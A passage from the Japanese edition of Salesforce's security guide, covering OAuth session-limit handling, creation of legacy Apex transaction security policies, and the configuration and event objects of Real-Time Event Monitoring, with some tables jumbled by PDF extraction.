2. 組織のトランザクションセキュリティ設定を指定します。
a. トランザクションセキュリティポリシーページで、[設定を編集] をクリックします。
b. [許可されている Salesforce セッションの最大数を超えると、最も古いセッションが終了します。] を選

択します。
ログインポリシーは、プログラムによるアクセスや、Salesforce Classic および Lightning Experience からのアクセ
スに適用されます。同時ユーザセッション数を制限するポリシーを作成すると、すべてのセッションがそ
の制限に含まれます。ユーザ名とパスワードを使用する通常のログイン、Web アプリケーションによるロ
グイン、認証プロバイダを使用するログイン、およびその他のすべてのログイン種別が対象となります。
Salesforce Classic または Lightning Experience では、終了するセッションを選択するように促されるため、セッ
ション制限は問題になりません。プログラム内でこの選択を行うことはできないため、セッション制限に
達したことを示すトランザクションセキュリティ例外がプログラムで発生します。
この問題を回避するには、[許可されている Salesforce セッションの最大数を超えると、最も古いセッショ
ンが終了します。]を選択します。これにより、許可されたセッション数を超える要求がプログラムで行わ
れた場合、セッション数が制限を下回るまで古いセッションが自動的に終了します。次に、OAuth フローで
ログインポリシーを処理する方法 (設定が選択されている場合とされていない場合) を示します。

設定が選択されていない場合のアクショ
ン

設定が選択されている場合のアクションフロー種別

認証コードは付与されるが、アクセス
トークンは付与されない
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

認証コードとアクセストークンが付与さ
れる
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 Web サーバ

アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 ユーザエー
ジェント

TXN_SECURITY_END_SESSION 例外アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 更新トークン
フロー

TXN_SECURITY_END_SESSION 例外アクセストークンが付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 JWT ベアラー
トークン

TXN_SECURITY_END_SESSION 例外アクセス権が付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 SAML ベアラー
アサーション
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設定が選択されていない場合のアクショ
ン

設定が選択されている場合のアクションフロー種別

ポリシーで許可されているセッション数
を超えたことが原因でアクセスが拒否さ
れる

アクセス権が付与される
ポリシーのコンプライアンスに準拠する
まで最も古いセッションが終了します。

OAuth 2.0 ユーザ名およ
びパスワード

該当なし該当なしSAML アサーション

認証フローについての詳細は、Salesforce ヘルプの「OAuth によるアプリケーションの認証」を参照してくだ
さい。

従来のトランザクションセキュリティポリシーの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

必要なユーザ権限

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「アプリケーションの

カスタマイズ」

トランザクションセキュ
リティポリシーを管理す
る
• 「Apex 開発」

特定のイベントでトリガされる独自でカスタムの従来のポリシーを作成します。
この機能を使用できるのは、システム管理者プロファイルが割り当てられた有
効ユーザのみです。

警告: 従来のトランザクションセキュリティは、Summer '20 以降すべての
Salesforce 組織で廃止される予定です。従来のフレームワークを使用してト
ランザクションセキュリティポリシーを作成、編集、有効化することがで
きなくなり、こうした操作を実行しようとするとエラーメッセージが表示
されます。詳細は、「Legacy Transaction Security Retirement (従来のトランザク
ションセキュリティの廃止)」を参照してください。新しいフレームワーク
を使用してトランザクションセキュリティポリシーを作成する場合は、拡
張トランザクションセキュリティのドキュメントを参照してください。従
来のポリシーを新しいフレームワークに移行する場合は、移行のドキュメ
ントを参照してください。

重要: このトピックでは、従来のトランザクションセキュリティポリシー
の作成方法のみを説明しています。拡張ポリシーの作成についての詳細は、
「条件ビルダーを使用したトランザクションセキュリティポリシーの作成」
または「Apex を使用する拡張トランザクションセキュリティポリシーの作
成」を参照してください。

同じイベント種別に複数のポリシーを作成できますが、ポリシーとそのアクショ
ンは重複しないようにすることをお勧めします。特定のイベントが発生したと
きにそのイベントの同じアクションを持つ複数のポリシーが実行される場合、
実行順序は不確定です。
1. [設定] から、[クイック検索] ボックスに「トランザクション」と入力し、[トラ

ンザクションセキュリティポリシー]を選択して、[新規]をクリックします。
2. [Apex] をクリックし、[次へ] をクリックします。
3. [トランザクションセキュリティポリシー] (従来のバージョンのトランザク

ションセキュリティ) をクリックします。
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4. ポリシーが監視するイベント種別および関連リソースを選択します。

メモ:  AccessResource イベントポリシーは、ダッシュボードの登録によってメールが送信されたときに
はトリガされません。ただし、これらのポリシーは、ユーザがダッシュボードからリソースに直接ア
クセスしたときにはトリガされます。Salesforce Classic ではすべての Chatter リソースがサポートされて
いますが、Lightning Experience では Feed Comment リソースと Feed Item リソースのみがサポートされてい
ます。結合レポート、履歴レポート、カスタムレポートタイプのデータエクスポートイベントポリ
シーは作成できません。

5. 本番以外の環境で、Apex ベースのポリシーを作成する場合は、[Apex クラス] で [新しい空の Apex クラス] を
選択します。(トランザクションセキュリティにより、スタブ (プレースホルダ) の Apex ポリシー条件が作成
されます。)それ以外の場合は、既存の Apex ポリシー条件を使用します。

6. トリガ時のポリシーのアクション、通知対象、通知方法を選択します。選択するユーザには「すべてのデー
タの編集」権限と「設定の参照」権限が必要です。

メモ: [他のアカウントでポリシーを実行]項目にユーザを入力する必要がありますが、自動化プロセス
ユーザはポリシーを常に実行できます。

使用可能なアクションは、イベント種別によって異なります。ログインイベントおよびリソースイベント
の場合、アクションをブロックしたり、多要素認証を使用した高いレベルのアクセス制御を必須としたり
することもできます。Chatter イベントの場合、ユーザの凍結や投稿のブロックができます。ログインイベ
ントの場合、現在のセッションを続行する前に既存のセッションを終了することを必須にできます。常に
最も古いセッションが終了するように、セッション終了のデフォルトアクションを設定できます。詳細は、
「[トランザクションセキュリティアクションとは?」を参照してください。
Apex ベースのポリシーを作成するときに、Apex クラスの API コールアウトを使用する場合は、アクション
を選択する必要があります。アクションとして [なし] を選択した場合は、ポリシーを実行できません。

メモ:  Salesforce アプリケーションまたは Lightning Experience の場合、リソースアクセスイベント種別で
多要素認証を使用することはできません。代わりに [ブロック] アクションが使用されます。

[他のアカウントでポリシーを実行]項目に「すべてのデータの編集」権限と「設定を参照」権限を持つユー
ザを入力します。ただし、入力したユーザに関係なく、自動化プロセスユーザは常にポリシーを実行でき
ます。

7. ポリシーのわかりやすい名前。ポリシー名は、アンダースコアと英数字のみを使用でき、組織内で一意に
する必要があります。最初は文字であること、スペースは使用しない、最後にアンダースコアを使用しな
い、2 つ続けてアンダースコアを使用しないという制約があります。

8. ポリシーを作成した後に有効化するには、[状況] で、[有効化] に切り替えます。(後でいつでも [トランザク
ションセキュリティポリシー] ページから無効にできます。)

9. [完了] をクリックします。
本番以外の環境で新しいポリシーの [新しい空の Apex クラス] を選択した場合、ポリシーを有効化する前に、
生成された Apex クラスを今すぐ変更します。使用を開始する Apex クラス名をクリックし、ポリシーをトリガ
する条件を追加します。例については、「従来のトランザクションセキュリティの Apex ポリシー」を参照し
てください。
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従来のトランザクションセキュリティの Apex ポリシー

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

すべてのトランザクションセキュリティポリシーでは、Apex

TxnSecurity.PolicyCondition または TxnSecurity.EventCondition イ
ンターフェースを実装する必要があります。

警告: 従来のトランザクションセキュリティは、Summer '20 以降すべての
Salesforce 組織で廃止される予定です。詳細は、「Legacy Transaction Security

Retirement (従来のトランザクションセキュリティの廃止)」を参照してくだ
さい。従来のフレームワークを使用してトランザクションセキュリティポ
リシーを作成、編集、有効化することができなくなり、こうした操作を実
行しようとするとエラーメッセージが表示されます。新しいフレームワー
クを使用してトランザクションセキュリティポリシーを作成する場合は、
拡張トランザクションセキュリティのドキュメントを参照してください。
従来のポリシーを新しいフレームワークに移行する場合は、移行のドキュ
メントを参照してください。

ポリシーの Apex インターフェースを生成する前に条件値を指定していなかった
場合、後で条件を追加できます。条件を変更するために、ポリシーを有効化す
る前に、Apex コードを編集して条件を含めることができます。条件を含めないと、ポリシーはトリガされませ
ん。
エラーが発生する可能性があるため、カスタムポリシーには DML ステートメントを含めないでください。ト
ランザクションポリシーの評価中に Apex を介してカスタムメールを送信すると、レコードが別のレコードに
明示的に関連付けられていなくても、エラーが表示されます。詳細は、『Apex リファレンスガイド』の「Apex

DML 操作」を参照してください。
トランザクションセキュリティポリシーを削除しても、TxnSecurity.PolicyCondition 実装や
TxnSecurity.EventCondition 実装は削除されません。Apex コードを他のポリシーで再利用できます。
TxnSecurity.PolicyCondition を実装する Apex クラスの API コールアウトを使用する場合は、[設定] でト
ランザクションセキュリティポリシーを作成するときに、アクションを選択する必要があります。アクション
として [なし] を選択した場合は、ポリシーを実行できません。詳細は、『Apex 開発者ガイド』の「Apex を使
用したコールアウトの呼び出し」を参照してください。
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リアルタイムイベント監視

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベント監視を使用すると、Salesforce の標準イベントを監視し、
ほぼリアルタイムで検出できます。監査やレポート目的でイベントデータを保
存できます。ポイント & クリックツールの条件ビルダーまたは Apex コードを使
用してトランザクションセキュリティポリシーを作成できます。
リアルタイムイベント監視を使用すると、次の点についてより貴重なインサイ
トを得ることができます。
• 誰がいつどのデータを表示したか
• どこでデータがアクセスされたか
• ユーザが UI を使用していつレコードを変更したか
• 誰がどこからログインしているか
• 組織の誰がプラットフォームの暗号化管理に関連するアクションを実行して

いるか
• どのシステム管理者が別のユーザとしてログインし、そのユーザとしてどの

アクションを実行したか
• Lightning ページの読み込みにどのくらいの時間がかかるか
• 組織で検知された脅威 (ユーザによるレポート実行またはレポートエクスポートの異常、セッションハイ

ジャック攻撃、クレデンシャルスタッフィング攻撃など)

ベストプラクティスとして、トランザクションセキュリティポリシーを作成する前に、イベントを表示または
照会して、通常のビジネス利用に適したしきい値を決めることをお勧めします。

このセクションの内容:

リアルタイムイベント監視の定義
リアルタイムイベント監視を使用する場合は、次の用語を念頭に置いてください。
リアルタイムイベント監視の使用に関する考慮事項
リアルタイムイベント監視の設定および使用時には次の考慮事項に留意してください。
リアルタイムイベント監視へのアクセス権の有効化
リアルタイムイベント監視へのユーザアクセス権は、プロファイルと権限セットで設定できます。
イベントデータのストリーミングと保存
リアルタイムイベント監視でオブジェクトを使用してイベントデータのストリーミングおよび保存を行う
方法を説明します。
ログアウトイベントトリガの作成
組織で LogoutEventStream オブジェクトを使用できる場合は、組織の UI からセキュリティログアウトイベン
トに応答する Apex トリガを作成できます。
ReportEvent および ListViewEvent でのチャンクの機能
チャンクは、レポートまたはリストビューの実行で多くのレコードが返され、返されたデータがチャンク
に分割された場合に発生します。
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拡張トランザクションセキュリティ
拡張トランザクションセキュリティは、リアルタイムイベントを受信し、ユーザアクティビティを監視し
て制御するための適切なアクションを適用するフレームワークです。どのトランザクションセキュリティ
ポリシーにも、イベントを評価する条件と、条件を満たした後にトリガされるリアルタイムアクションが
あります。アクションは、ブロック、多要素認証、通知です。ポリシーを作成する前に、使用可能なイベ
ント種別、ポリシー条件、一般的な使用事例を理解します。拡張トランザクションセキュリティは、リア
ルタイムイベント監視に含まれています。
脅威検知
脅威検知では、統計および機械学習の手法を駆使して、Salesforce 組織に対する脅威を検知します。Salesforce

ではすべての Salesforce 顧客についてこれらの脅威を識別しますが、必要に応じて、イベント監視で脅威検
知のあるイベントに情報を表示し、さらに調査することができます。

関連トピック:

Salesforce ヘルプ: 各 Salesforce イベントの違い
学習マップ: Shield 学習マップ

リアルタイムイベント監視の定義
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベント監視を使用する場合は、次の用語を念頭に置いてくださ
い。
イベント

イベントとは Salesforce で発生するすべての事象を指し、ユーザのクリック、
レコード状態の変更、値の測定などが含まれます。イベントは不変であり、
タイムスタンプが付けられます。

イベントチャネル
イベントのストリームで、そのストリーム上でイベントプロデューサはイベ
ントメッセージを送信し、イベントコンシューマはそのメッセージを読み込
みます。

イベント登録者
チャネルからのメッセージを受信するチャネルの登録者。たとえば、レポー
トの新規ダウンロードの通知を受けるセキュリティアプリケーションなどが
あります。

イベントメッセージ
イベントに関するデータの送信に使用されるメッセージ。

イベント公開者
チャネル経由のイベントメッセージの公開者 (セキュリティアプリケーションや監査アプリケーションな
ど)。
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リアルタイムイベント監視の使用に関する考慮事項
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベント監視の設定および使用時には次の考慮事項に留意してく
ださい。

Salesforce Classic と Lightning Experience の比較
Salesforce Classic または Lightning Experience のみに適用されるイベントがあります。
次のオブジェクトは Salesforce Classic のみをサポートします。
• URIEvent

• URIEventStream

次のオブジェクトは Lightning Experience のみをサポートします。
• LightningUriEvent

• LightingUriEventStream

メモ: リアルタイムイベント監視オブジェクトには機密データが含まれる
場合があります。適宜プロファイルまたは権限セットでリアルタイムイベ
ントにオブジェクト権限を割り当てます。

拡張トランザクションセキュリティ
• 拡張トランザクションセキュリティを使用すると、条件ビルダーまたは Apex コードを使用してポリシーを

作成できます。
• 拡張トランザクションセキュリティポリシーは標準オブジェクトとカスタムオブジェクトの両方をサポー

トします。
• 特定のイベントに対する拡張トランザクションセキュリティポリシーを有効化する前に、そのイベントに

対する従来のトランザクションセキュリティポリシーを無効化する必要があります。
• Salesforce モバイルアプリケーション、Lightning Experience、または API 経由の場合、イベントで多要素認証ア

クションは使用できません。代わりに、ブロックアクションが使用されます。たとえば、API 経由で実行さ
れたリストビューで多要素認証ポリシーがトリガされた場合、Salesforce はその API コールをブロックしま
す。

• オブジェクト (ApiEvent など) の RowsProcessed 項目の値が 0 の場合、クエリが実行されて何も返されな
かったことを示します。このシナリオは、データ行に対する適切な権限がユーザにないか、クエリが結果
を返さない場合に発生することがあります。この場合、QueriedEntities 項目は空です。

• たとえば、同じイベントで Apex と条件ビルダーポリシーの両方を作成するとします。両方のポリシーで同
じアクション (ブロックまたは多要素認証) も指定します。この場合、Apex ポリシーは条件ビルダーポリシー
より前に実行されます。イベントの PolicyId 項目は、実行およびトリガされた最後のポリシーを反映しま
す。

• 同じイベントが含まれるポリシーで同じ Apex クラスを使用することはできません。条件ビルダーを使用し
て Apex ポリシーを作成する場合、使用可能な Apex クラスのリストはすでに作成しているポリシーによって
異なる場合があります。
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• たとえば、アクションが None のイベントのトランザクションセキュリティポリシーを有効化するとしま
す。結果として、イベントがポリシー条件を満たす場合、ポリシーはトリガされません。ただし、次のイ
ベント項目は引き続き入力されます。
– EvaluationTime  — ポリシーが評価されるのに要した時間。
– PolicyOutcome  — NoAction に設定されます。
– PolicyId  — null に設定されます。

イベントオブジェクトの推奨される使用方法
リアルタイムイベント監視オブジェクトには、データのストリーミング、データの保存、データに基づくポリ
シーの適用という、3 つの主要な使用方法があります。ただし、これらの使用方法がすべてのオブジェクトに
適用されるわけではありません。以下は、各使用事例で使用可能なオブジェクトに関する指針です。詳細は、
「イベントデータのストリーミングと保存」を参照してください。

ポリシーストレージストリーミング

ApiEventApiEventApiEventStream

なしLightningUriEventLightningUriEventStream

ListViewEventListViewEventListViewEventStream

なしLoginAsEventLoginAsEventStream

LoginEventLoginEventLoginEventStream

なしLogoutEventLogoutEventStream

ReportEventReportEventReportEventStream

なしUriEventUriEventStream

メモ: リアルタイムイベント監視プラットフォームイベントは、ユーザアクティビティを記録するシステ
ムではありません。これは信頼できる情報源ですが、イベント通知は常に利用できるとは限らず、保証
もありません。より信頼性の高いデータストレージを構築するには、リアルタイムイベント監視ストレー
ジイベント (ページ 240)を使用してください。

235

リアルタイムイベント監視の使用に関する考慮事項Salesforce セキュリティガイド



リアルタイムイベント監視へのアクセス権の有効化
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

ユーザ権限

イベントを参照する
• 「リアルタイムイベン

ト監視データの表示」

トランザクションセキュ
リティポリシーを作成、
編集、管理する
• 「アプリケーションの

カスタマイズ」

リアルタイムイベント監視へのユーザアクセス権は、プロファイルと権限セッ
トで設定できます。
1. [設定] から、次のいずれかの操作を実行します。

• [クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択
します。

• [クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を
選択します。

2. 権限セットまたはプロファイルを選択します。
3. 権限セットとプロファイルのどちらを使用するかに応じて、次のいずれかの

操作を実行します。
• 権限セットまたは拡張プロファイルユーザインターフェースで、権限を

選択します。[設定の検索] ダイアログボックスに、「リアルタイムイベン
ト監視データの表示」と入力します。[編集] をクリックし、オプションを
選択して、[保存] をクリックします。「アプリケーションのカスタマイ
ズ」権限についても上記の手順を繰り返します。

• 元のプロファイルユーザインターフェースで、プロファイル名を選択し、
[編集]をクリックします。トランザクションセキュリティポリシーを作成
する予定の場合は、[リアルタイムイベント監視データを表示] と [アプリ
ケーションのカスタマイズ] を選択します。[保存] をクリックします。

リアルタイムイベント監視を有効にするのに加えて、リアルタイムイベント
オブジェクトに対するユーザ権限を設定します。リアルタイムイベント監視
オブジェクトには機密データが含まれる場合があります。

イベントデータのストリーミングと保存
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベント監視でオブジェクトを使用してイベントデータのストリー
ミングおよび保存を行う方法を説明します。

このセクションの内容:

リアルタイムイベント監視イベントの管理
イベントマネージャを使用して、リアルタイムイベント監視イベントのスト
リーミング設定と保存設定を宣言的に管理します。メタデータ API を使用し
てプログラムで設定を管理することもできます。リアルタイムイベント監視
を使用すると、Salesforce の標準イベントを監視し、ほぼリアルタイムで検知
できます。監査やレポート目的でイベントデータを保存できます。ポイント
& クリックツールの条件ビルダーまたは Apex コードを使用してトランザク
ションセキュリティポリシーを作成できます。
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リアルタイムイベント監視のデータストリーミング
リアルタイムイベント監視を使用し、Salesforce によって公開された標準イベントに登録して組織のアクティ
ビティを監視できます。ストリーミング API クライアントを使用して任意の外部データシステムからこの
データに登録できます。
リアルタイムイベント監視のデータ保存
リアルタイムイベント監視では、イベントデータを Salesforce オブジェクトに保存してクエリできます。保
存イベントの多くは、大量データの最大 6 か月間の保存に適した Salesforce Big Object が対応します。Big Object

ではデータが Salesforce ネイティブとして保存されるため、アクセスしてレポートやその他の用途に使用で
きます。一部の保存イベント (脅威検知イベントなど) は、標準 Salesforce オブジェクトが対応します。
リアルタイムイベント監視での非同期 SOQL の使用
リアルタイムイベントでの非同期 SOQL の使用例をいくつか紹介します。

リアルタイムイベント監視イベントの管理

ユーザ権限

イベントマネージャでイ
ベントを更新する
• 「アプリケーションの

カスタマイズ」および
「設定の参照」

イベントマネージャを使用して、リアルタイムイベント監視イベントのストリー
ミング設定と保存設定を宣言的に管理します。メタデータ API を使用してプログ
ラムで設定を管理することもできます。リアルタイムイベント監視を使用する
と、Salesforce の標準イベントを監視し、ほぼリアルタイムで検知できます。監
査やレポート目的でイベントデータを保存できます。ポイント & クリックツー
ルの条件ビルダーまたは Apex コードを使用してトランザクションセキュリティ
ポリシーを作成できます。

重要: リアルタイムイベント監視イベントを参照するには、Salesforce Shield

または Salesforce Event Monitoring アドオンサブスクリプションが必要です。ス
トリーミングログアウトイベントを参照する場合、このアドオンは必要あ
りません。

メモ: リアルタイムイベント監視オブジェクトには機密データが含まれる場合があります。適宜プロファ
イルまたは権限セットでリアルタイムイベントにオブジェクト権限を割り当てます。

1. [設定] から、[クイック検索] ボックスに「イベント」と入力し、[イベントマネージャ] を選択します。
2. ストリーミングを有効化または無効化するイベントの横にあるドロップダウンメニューをクリックします。
3. イベントのストリーミングまたは保存を有効化するか無効化するかを選択します。
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リアルタイムイベント監視のデータストリーミング

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベント監視を使用し、Salesforce によって公開された標準イベン
トに登録して組織のアクティビティを監視できます。ストリーミング API クライ
アントを使用して任意の外部データシステムからこのデータに登録できます。
データは、公開/登録モデルを使用してストリーミングされます。Salesforce がス
トリーミングデータをイベント登録チャネルに公開し、使用する側のアプリケー
ションがそのイベントチャネルに対する登録またはリスンによってほぼリアル
タイムにデータを取得します。ストリーミングイベントは最大 3 日間保持され
ます。リアルタイムイベント監視のストリーミングイベントは、プラットフォー
ムイベントの配信割り当てに反映されません。システム保護制限が適用される
場合があります。

ヒント: 過去 3 日以内のイベントデータをより効率よく取得および処理する
には、ストリームの過去のイベントに登録するのではなく、Big Object から
イベントを照会することをお勧めします。

次に、いくつか例を示します。

考慮事項使用事例イベントオブジェクト

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザが機密データ (特許レコードなど) を照
会すると、検出します。

ApiEventStream

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザが API コールを行う方法の異常を追跡
します。

ApiAnomalyEvent

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザがいつ Bulk API 要求の結果をダウンロー
ドしたかを追跡します。

BulkApiResultEvent

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

組織が実行時間の長い同時 Apex の上限を超
えた場合に、エラーを検出します。

ConcurLongRunApexErrEvent

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

特定したクレデンシャルスタッフィング攻
撃の最中にユーザが Salesforce に正常にログ
インした状況を追跡します。ログイン情報

CredentialStuffingEvent

スタッフィングとは、盗まれたユーザログ
イン情報を使用した大規模な自動ログイン
要求を指します。

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

Lightning Experience でユーザが機密データを含
むレコードの作成、アクセス、更新、削除
を行うと、検出します。

LightningUriEventStream

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザが Salesforce Classic、Lightning Experience、
または API を使用してリストビューデータの
アクセス、更新、エクスポートを行うと、
検出します。

ListViewEventStream
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考慮事項使用事例イベントオブジェクト

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

システム管理者が別のユーザとして組織に
ログインすると検出し、システム管理者の
アクティビティを追跡します。

LoginAsEventStream

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザが特定の条件下で (たとえば、サポー
ト対象外のブラウザや会社の範囲外の IP ア
ドレスから) ログインしようとすると、検出
します。

LoginEventStream

オブジェクトはすべてのユーザが使用
できます。

ユーザが Salesforce UI で [ログアウト]をクリッ
クしてログアウトすると、検出します。

LogoutEventStream

オブジェクトは、リアルタイムイベン
ト監視および拡張モバイルアプリケー

Salesforce モバイルアプリケーションでユーザ
のメール活動を追跡します。

MobileEmailEvent

ションセキュリティでのみ使用できま
す。

オブジェクトは、リアルタイムイベン
ト監視および拡張モバイルアプリケー

Salesforce モバイルアプリケーションでの拡張
モバイルセキュリティポリシーイベントの
適用を追跡します。

MobileEnforcedPolicyEvent

ションセキュリティでのみ使用できま
す。

オブジェクトは、リアルタイムイベン
ト監視および拡張モバイルアプリケー

Salesforce モバイルアプリケーションでユーザ
のスクリーンショットを追跡します。

MobileScreenshotEvent

ションセキュリティでのみ使用できま
す。

オブジェクトは、リアルタイムイベン
ト監視および拡張モバイルアプリケー

Salesforce モバイルアプリケーションでユーザ
の電話とテキストメッセージを追跡します。

MobileTelephonyEvent

ションセキュリティでのみ使用できま
す。

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザによるレポート実行またはレポート
エクスポートの異常を追跡します。

ReportAnomalyEvent

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

ユーザが機密データを含むレポートの作成、
実行、更新、エクスポートを行うと、検出
します。

ReportEventStream

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

未承認ユーザが、盗取したセッション識別
子を使用して Salesforce ユーザのセッション
の所有権を窃取した状況を追跡します。

SessionHijackingEvent

オブジェクトはリアルタイムイベント
監視でのみ使用できます。

Salesforce Classic でユーザが機密データを含む
レコードの作成、アクセス、更新、削除を
行うと、検出します。

UriEventStream
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ストリーミングデータチャネルをリスンするアプリケーションの作成についての詳細は、『ストリーミング
API 開発者ガイド』を参照してください。
EMP コネクタオープンソースツールを使用したストリーミングイベントへの登録をすばやく開始するには、
『プラットフォームイベント開発者ガイド』の「例: Java クライアントを使用した登録とイベントの再生 (EMP

コネクタ)」を参照してください。
標準プラットフォームイベントと対応する Big Object についてのリファレンスドキュメントは、『プラット
フォームイベント開発者ガイド』の「リアルタイムイベント監視オブジェクト」を参照してください。

リアルタイムイベント監視のデータ保存

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

リアルタイムイベント監視では、イベントデータを Salesforce オブジェクトに保
存してクエリできます。保存イベントの多くは、大量データの最大 6 か月間の
保存に適した Salesforce Big Object が対応します。Big Object ではデータが Salesforce

ネイティブとして保存されるため、アクセスしてレポートやその他の用途に使
用できます。一部の保存イベント (脅威検知イベントなど) は、標準 Salesforce オ
ブジェクトが対応します。

保存イベントでの SOQL の使用
どちらの種類の保存イベント (Big Object と標準オブジェクト) でも、標準 SOQL と
非同期 SOQL の両方のクエリがサポートされています。
標準 SOQL

標準オブジェクト (脅威検知の保存イベントなど) では、すべての項目で SOQL ク
エリがサポートされています。他方 Big Object では、EventDate と
EventIdentifier の 2 つの項目でのみ SOQL クエリがサポートされています。
標準 SOQL コマンドのサブセットを使用して Big Object をクエリできます。絞り込みには EventDate のみ、または
EventDate と EventIdentifier の組み合わせを使用できます。
例外は ReportEvent で、EventDate、EventIdentifier、UserId  (ベータ) の 3 つの項目を使用して絞り込むこ
とができます。ReportEvent で有効な検索条件は次のとおりです。
• UserId のみ
• EventDate のみ
• UserId と EventDate

• EventDate と EventIdentifier

EventIdentifierのみで絞り込むか、UserIdと EventIdentifierで絞り込むと、クエリは失敗します。
UserId のみを検索する場合、最初のインデックスでのみ範囲クエリを実行できます。

メモ: ReportEvent の UserId 検索条件はベータ機能としてのプレビュー版であり、Salesforce とのマスターサブ
スクリプション契約における「サービス」には含まれません。この機能はお客様各自の裁量で使用し、
購入するときは、現在正式にリリースされている製品および機能に基づいて判断してください。Salesforce

はこの機能の特定期間内の正式リリースまたはリリースの有無を保証しません。また、いかなる時点で
もこの機能を終了できるものとします。この機能は、評価目的のみで、本番での使用を目的にしたもの
ではありません。この機能は、そのままの状態で提供され、サポートされておらず、ここから生じる、
またはこれに関連する被害または損害に対して、Salesforce はいかなる責任も負いません。制限、Salesforce
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の権利の留保、サービスに関するお客様の義務、関連する Salesforce 以外のアプリケーションおよびコン
テンツの使用規約はすべて、お客様によるこの機能の使用にも同様に適用されます。

非同期 SOQL

非同期 SOQL は、Big Object の EventDate と EventId 以外の項目を絞り込む必要がある場合に SOQL クエリを
実行する手段です。非同期 SOQL は、クエリのスケジュールと実行をバックグラウンドで非同期に行うため、
通常の SOQL ではタイムアウトするようなクエリを実行できます。
非同期 SOQL を使用すれば、バックグラウンドで複数のクエリを実行して、それらの完了状況を監視できます。
クエリを設定し、数時間後に戻ってくれば、データセットが完成しています。非同期 SOQL は、保存イベント
(特に Big Object) の大量データを極めて効率的に処理する手段です。詳細は、『Big Objects Implementation Guide』
(Big Object 実装ガイド) の「Use Async SOQL with Real-Time Event Monitoring」 (リアルタイムイベント監視での非同期
SOQL の使用) と「Async SOQL」 (非同期 SOQL) を参照してください。

保存イベント
以下は、リアルタイムイベント監視の保存イベントです。

考慮事項使用事例標準か
Big Object
か?

イベントオブジェクト

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

会計年度中に特定のオブジェクトに
ついて発生したすべての API アクティ
ビティに関するデータを保存する。

Big ObjectApiEvent

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

ユーザが API コールを行う方法の異
常に関するデータを保存します。

標準オブ
ジェクト

ApiAnomalyEventStore

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

会計年度中に特定のオブジェクトに
ついて発生した Bulk API アクティビ
ティに関する大量のデータを保存し
ます。

Big ObjectBulkApiResultEventStore

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 6 か月間保存されます。

特定したクレデンシャルスタッフィ
ング攻撃中の正常なユーザログイン
に関するデータを保存する。ログイ
ン情報スタッフィングとは、盗まれ

標準オブ
ジェクト

CredentialStuffingEventStore

たユーザログイン情報を使用した大
規模な自動ログイン要求を指しま
す。

オブジェクトはリアルタイムイベン
ト監視でのみ使用できます。データ
は最大 10 年間保存されます。

組織のユーザ ID 検証イベントに関す
るデータを保存します。

Big ObjectIdentityVerificationEvent
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考慮事項使用事例標準か
Big Object
か?

イベントオブジェクト

オブジェクトはリアルタイムイベン
